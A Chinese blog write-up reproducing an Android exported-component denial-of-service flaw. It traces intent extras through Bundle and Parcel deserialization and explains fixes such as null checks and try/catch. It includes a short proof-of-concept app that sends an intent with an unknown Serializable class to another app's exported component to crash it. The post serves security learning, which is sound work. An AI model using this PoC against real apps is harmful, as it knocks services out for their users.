APP-SECURITY-404 组件导出漏洞复现
一.概述
组件就不多介绍了,安卓的四大组件:activity,service,broadcastReciver,ContentProvider
导出: 其他的应用或组件通过发送intent对象的方式调用其他组件。
intent是一种消息传递对象,intent的基本知识放个博客链接:
https://blog.csdn.net/salary/article/details/82865454
这个漏洞的主要原理还是在于对intent对象的处理没有添加异常事件所导致。
二.漏洞复现
二.1 简单类型
先写了两个activity,其中一个activity通过发送intent对象方式来启动另一个activity,并把数据存在了intent对象中,一起发送过去。
第一个activity
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent;
import android.os.Bundle; public class MainActivity extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息)
//传输数据给Activity
intent.putExtra("str1","i am str1");
startActivity(intent);
}
}
第二个activity
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent;
import android.os.Bundle;
import android.widget.Toast; public class Activity1 extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_1);
Intent intent=getIntent();
String str1=intent.getStringExtra("str1");
Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show();
}
}
这里其实很简单,就是主活动通过发送包含数据的intent方式调用另一个活动组件,另一个活动通过getStringExtr方法来将数据取出来,再生成一个消息提示框,将取出来的字符串拼接好,放入对话框中
那么假设,我把第一个存数据的代码注释掉,会发生什么呢
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent;
import android.os.Bundle; public class MainActivity extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息)
//传输数据给Activity
//intent.putExtra("str1","i am str1");
startActivity(intent);
}
}
第二个活动的代码不变,这时候运行一下我们的app。
发现虽然没有这key-value存在,但是似乎自动生成了个key-value,不过value默认是null。这里没啥问题,但如果我的
第二个活动代码是这样写的话
package com.example.twoapplication; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent;
import android.os.Bundle;
import android.widget.Toast; public class Activity1 extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_1);
Intent intent=getIntent();
String str1=intent.getStringExtra("str1");
if(str1.equals("i am str1"))
{
Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show();
} }
}
这里有点意思是equals方法,这个方法是继承父类object类的,也就意味着只有对象才能引用这个对象
然后这里有可能出现str1为null的情况,String str1其实是引用,赋值给null是没毛病的,只是这里出问题
应该是程序员的忽视了,这里的修改意见应该是先判断是否为null,如果是null就没必要比较了,因为不可能
相等的,null和对象相等不存在好吧,如果不是null,那值得一比,不过第一个比较是用==,因为不是比字符串
的值了,没必要用equals,也不可能用。
这里运行一下,肯定会出现空指针异常,这里可以查下崩溃日志
点击android studio左下角的按钮就可以查看崩溃日志
这里报的是空指针异常,达到目的了,一是没有预防,二是没有去处理这个异常,添加try/catch是个不错的方式
二.2 复杂类型的组件导出
之前那种简单的组件导出基本上不会出现了,不过还有一种更复杂一些的,前面算是程序员粗心导致的,后面这种是算是逻辑错误
这里聚集在获取intent中数据的方法getStringExtra这里,这个地方要去看sdk的源码,因为我是mac,command+鼠标单击就会自动
跳转到这个对应方法的源码,不过一开始我sdk版本设置的过高,30的安卓10的版本直接裂开,根本没有源码,我就去改了build.gradle里面的
sdk版本号,然后同步了一下,没想到成功了,改成了29之后,本来下sdk时,就直接把源码也下载下来,这下就可以看源码了。
这里先看getStringExtra的源码
public @Nullable String getStringExtra(String name) {
return mExtras == null ? null : mExtras.getString(name);
}
private Bundle mExtras;
这个mExtras的类型是Bundle,这里的再跟着mExtras.getString的方法看看,发现是在BaseBundle类中找到的这个方法,应该是它父类的方法
@Nullable
public String getString(@Nullable String key) {
unparcel();
final Object o = mMap.get(key);
try {
return (String) o;
} catch (ClassCastException e) {
typeWarning(key, o, "String", e);
return null;
}
}
unparcel是反序列化方法,跟进去一波。
@UnsupportedAppUsage
/* package */ void unparcel() {
synchronized (this) {
final Parcel source = mParcelledData;
if (source != null) {
initializeFromParcelLocked(source, /*recycleParcel=*/ true, mParcelledByNative);
} else {
if (DEBUG) {
Log.d(TAG, "unparcel "
+ Integer.toHexString(System.identityHashCode(this))
+ ": no parcelled data");
}
}
}
} private void initializeFromParcelLocked(@NonNull Parcel parcelledData, boolean recycleParcel,
boolean parcelledByNative) {
if (LOG_DEFUSABLE && sShouldDefuse && (mFlags & FLAG_DEFUSABLE) == 0) {
Slog.wtf(TAG, "Attempting to unparcel a Bundle while in transit; this may "
+ "clobber all data inside!", new Throwable());
} if (isEmptyParcel(parcelledData)) {
if (DEBUG) {
Log.d(TAG, "unparcel "
+ Integer.toHexString(System.identityHashCode(this)) + ": empty");
}
if (mMap == null) {
mMap = new ArrayMap<>(1);
} else {
mMap.erase();
}
mParcelledData = null;
mParcelledByNative = false;
return;
} final int count = parcelledData.readInt();
if (DEBUG) {
Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
+ ": reading " + count + " maps");
}
if (count < 0) {
return;
}
ArrayMap<String, Object> map = mMap;
if (map == null) {
map = new ArrayMap<>(count);
} else {
map.erase();
map.ensureCapacity(count);
}
try {
if (parcelledByNative) {
// If it was parcelled by native code, then the array map keys aren't sorted
// by their hash codes, so use the safe (slow) one.
parcelledData.readArrayMapSafelyInternal(map, count, mClassLoader);
} else {
// If parcelled by Java, we know the contents are sorted properly,
// so we can use ArrayMap.append().
parcelledData.readArrayMapInternal(map, count, mClassLoader);
}
} catch (BadParcelableException e) {
if (sShouldDefuse) {
Log.w(TAG, "Failed to parse Bundle, but defusing quietly", e);
map.erase();
} else {
throw e;
}
} finally {
mMap = map;
if (recycleParcel) {
recycleParcel(parcelledData);
}
mParcelledData = null;
mParcelledByNative = false;
}
if (DEBUG) {
Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
+ " final map: " + mMap);
}
}
这里不知道为啥我跟不进这个函数,裂开,parcel这个类,是一个共享内存,将序列化数据存进去,同时也可以通过parcel对象
将对象反序列化取出来,这里大概知道intent发送数据,是先将key -value的值序列化存进parcel,然后其他组件再通过parcel
对象通过类加载器和类名,解析反序列化出相对应的对象出来,存进map中。
---以下源码源自王师傅
/* package */ void readArrayMapInternal(ArrayMap outVal, int N,
ClassLoader loader) {
if (DEBUG_ARRAY_MAP) {
RuntimeException here = new RuntimeException("here");
here.fillInStackTrace();
Log.d(TAG, "Reading " + N + " ArrayMap entries", here);
}
int startPos;
while (N > 0) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
String key = readString();
Object value = readValue(loader);
if (DEBUG_ARRAY_MAP) Log.d(TAG, " Read #" + (N-1) + " "
+ (dataPosition()-startPos) + " bytes: key=0x"
+ Integer.toHexString((key != null ? key.hashCode() : 0)) + " " + key);
outVal.append(key, value);
N--;
}
outVal.validate();
}
再跟readValue方法
public final Object readValue(ClassLoader loader) {
int type = readInt(); switch (type) {
case VAL_NULL:
return null; case VAL_STRING:
return readString(); case VAL_INTEGER:
return readInt(); ...... case VAL_SERIALIZABLE:
return readSerializable(loader); ...... default:
int off = dataPosition() - 4;
throw new RuntimeException(
"Parcel " + this + ": Unmarshalling unknown type code " + type + " at offset " + off);
}
}
这个readSerializable方法有点意思,其实就是反序列化把对象取出来
再跟进去看看
private final Serializable readSerializable(final ClassLoader loader) {
String name = readString();
if (name == null) {
// For some reason we were unable to read the name of the Serializable (either there
// is nothing left in the Parcel to read, or the next value wasn't a String), so
// return null, which indicates that the name wasn't found in the parcel.
return null;
} byte[] serializedData = createByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
try {
ObjectInputStream ois = new ObjectInputStream(bais) {
@Override
protected Class<?> resolveClass(ObjectStreamClass osClass)
throws IOException, ClassNotFoundException {
// try the custom classloader if provided
if (loader != null) {
Class<?> c = Class.forName(osClass.getName(), false, loader);
if (c != null) {
return c;
}
}
return super.resolveClass(osClass);
}
};
return (Serializable) ois.readObject();
} catch (IOException ioe) {
throw new RuntimeException("Parcelable encountered " +
"IOException reading a Serializable object (name = " + name +
")", ioe);
} catch (ClassNotFoundException cnfe) {
throw new RuntimeException("Parcelable encountered " +
"ClassNotFoundException reading a Serializable object (name = "
+ name + ")", cnfe);
}
}
发现就是查找反序化类,然后反序列化对象出来,如果没有找到反序列化的类,就会抛出异常,这里就是突破口
假设传入的序列化的类找不到,而且并没有用try/catch来处理异常,那么就会崩溃。
poc 贴下王师傅的
public class MainActivity extends Activity {
private static final String TAG = "MainActivity"; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Intent intent = new Intent();
intent.setComponent(new ComponentName(target_package_name, target_component_name));
intent.putExtra("serializable_key", new DataSchema());
startActivity(intent);
} catch (Exception e) {
e.printStackTrace();
}
}
} class DataSchema implements Serializable {
private static final long serialVersionUID = -1L;
}
APP-SECURITY-404 组件导出漏洞复现的更多相关文章
- Weblogic WLS-WebServices组件反序列化漏洞复现
漏洞分析: 当weblogic使用WLS-WebServices组件时,该组件会调用XMLDecoder解析XML数据,由此就产生了该漏洞 影响版本: weblogic<10.3.6版本 复现过 ...
- uniapp解决测评有组件导出风险,解决APP反编译,回编译后app无法打开的问题
1.APP反编译 使用hbx云打包,打包出apk 拿到apk后,先下载反编译工具 https://pan.baidu.com/s/1A5D8x_pdSELlHYl-Wl6Xnw 提取码 6vzd 使用 ...
- struts2漏洞复现分析合集
struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
- struts2(s2-052)远程命令执行漏洞复现
漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...
- Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现
Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现 一.漏洞概述 WebLogic的 WLS Security组件对外提供webservic ...
- nginx解析漏洞复现
nginx解析漏洞复现 一.漏洞描述 该漏洞与nginx.php版本无关,属于用户配置不当造成的解析漏洞 二.漏洞原理 1. 由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件 ...
- Weblogic-SSRF 漏洞复现
0x01 环境搭建 我这里使用的是vulhub,它几乎包含了所有的漏洞环境.(建议安装在ubuntu上) 有需要的小伙伴来企鹅群自取. 安装好vulhub之后需要cd 到weblogic ssrf 目 ...
- 【漏洞复现】S2-052 (CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
随机推荐
- kafka之一:kafka简介
现在从事java开发的同学,不论是在面试过程中还是在日常的工作中,肯定会碰到消息队列的情况,市面上消息队列有很多:kafka.rocketMQ.rabbitMQ.zeroMQ等,从本篇博客起计划分享一 ...
- docker容器与镜像的区别
今天抛开原理,抛开底层.通俗的讲解docker中容器与镜像的区别. 对于初学者来说,刚刚接触docker会有点迷,特别是镜像与容器.其实我们可以理解镜像与容器为一对多的关系. 下图错误的示范,为什么是 ...
- TVM优化GPU机器翻译
TVM优化GPU机器翻译 背景 神经机器翻译(NMT)是一种自动化的端到端方法,具有克服传统基于短语的翻译系统中的弱点的潜力.最近,阿里巴巴集团正在为全球电子商务部署NMT服务. 将Transform ...
- 慢镜头变焦:视频超分辨率:CVPR2020论文解析
慢镜头变焦:视频超分辨率:CVPR2020论文解析 Zooming Slow-Mo: Fast and Accurate One-Stage Space-Time Video Super-Resol ...
- 3D惯导Lidar仿真
3D惯导Lidar仿真 LiDAR-Inertial 3D Plane Simulator 摘要 提出了最*点*面表示的形式化方法,并分析了其在三维室内同步定位与映射中的应用.提出了一个利用最*点*面 ...
- 如何运行具有奇点的NGC深度学习容器
如何运行具有奇点的NGC深度学习容器 How to Run NGC Deep Learning Containers with Singularity 高性能计算机和人工智能的融合使新的科学突破成为可 ...
- Spring Cloud08: Hystrix 容错机制与数据监控
一.概述 容错机制是指的是在一个分布式系统中,每个微服务之间是相互调用的,并且他们之间相互依赖,而实际的运行情况中,可能会因为各种原因导致某个微服务不可用,那么依赖于这个微服务的其他微服务就可能出现响 ...
- Redisson 分布式锁实现之前置篇 → Redis 的发布/订阅 与 Lua
开心一刻 我找了个女朋友,挺丑的那一种,她也知道自己丑,平常都不好意思和我一块出门 昨晚,我带她逛超市,听到有两个人在我们背后小声嘀咕:"看咱前面,想不到这么丑都有人要." 女朋友 ...
- 阿里云视频云 Retina 多媒体 AI 体验馆开张啦!
带你体验视频更多可能 海量视频管理难度大?翻库检索特定人物费时费力?视频内容剪辑效率低?您的得力助手"Retina多媒体AI"体验馆已上线.带你感受视频AI黑科技,开启极致智能体验 ...
- sql server数据库性能优化之2-避免使用CTE公用表达式的递归【by zhang502219048】
数据库优化中的一个实例,记录一下: 1. 原来用了CTE公用表达式的递归,reads高达约40万,看查询执行计划,使用了Nested Loops: 2. 优化去掉递归,改用其它方式实现,reads降低 ...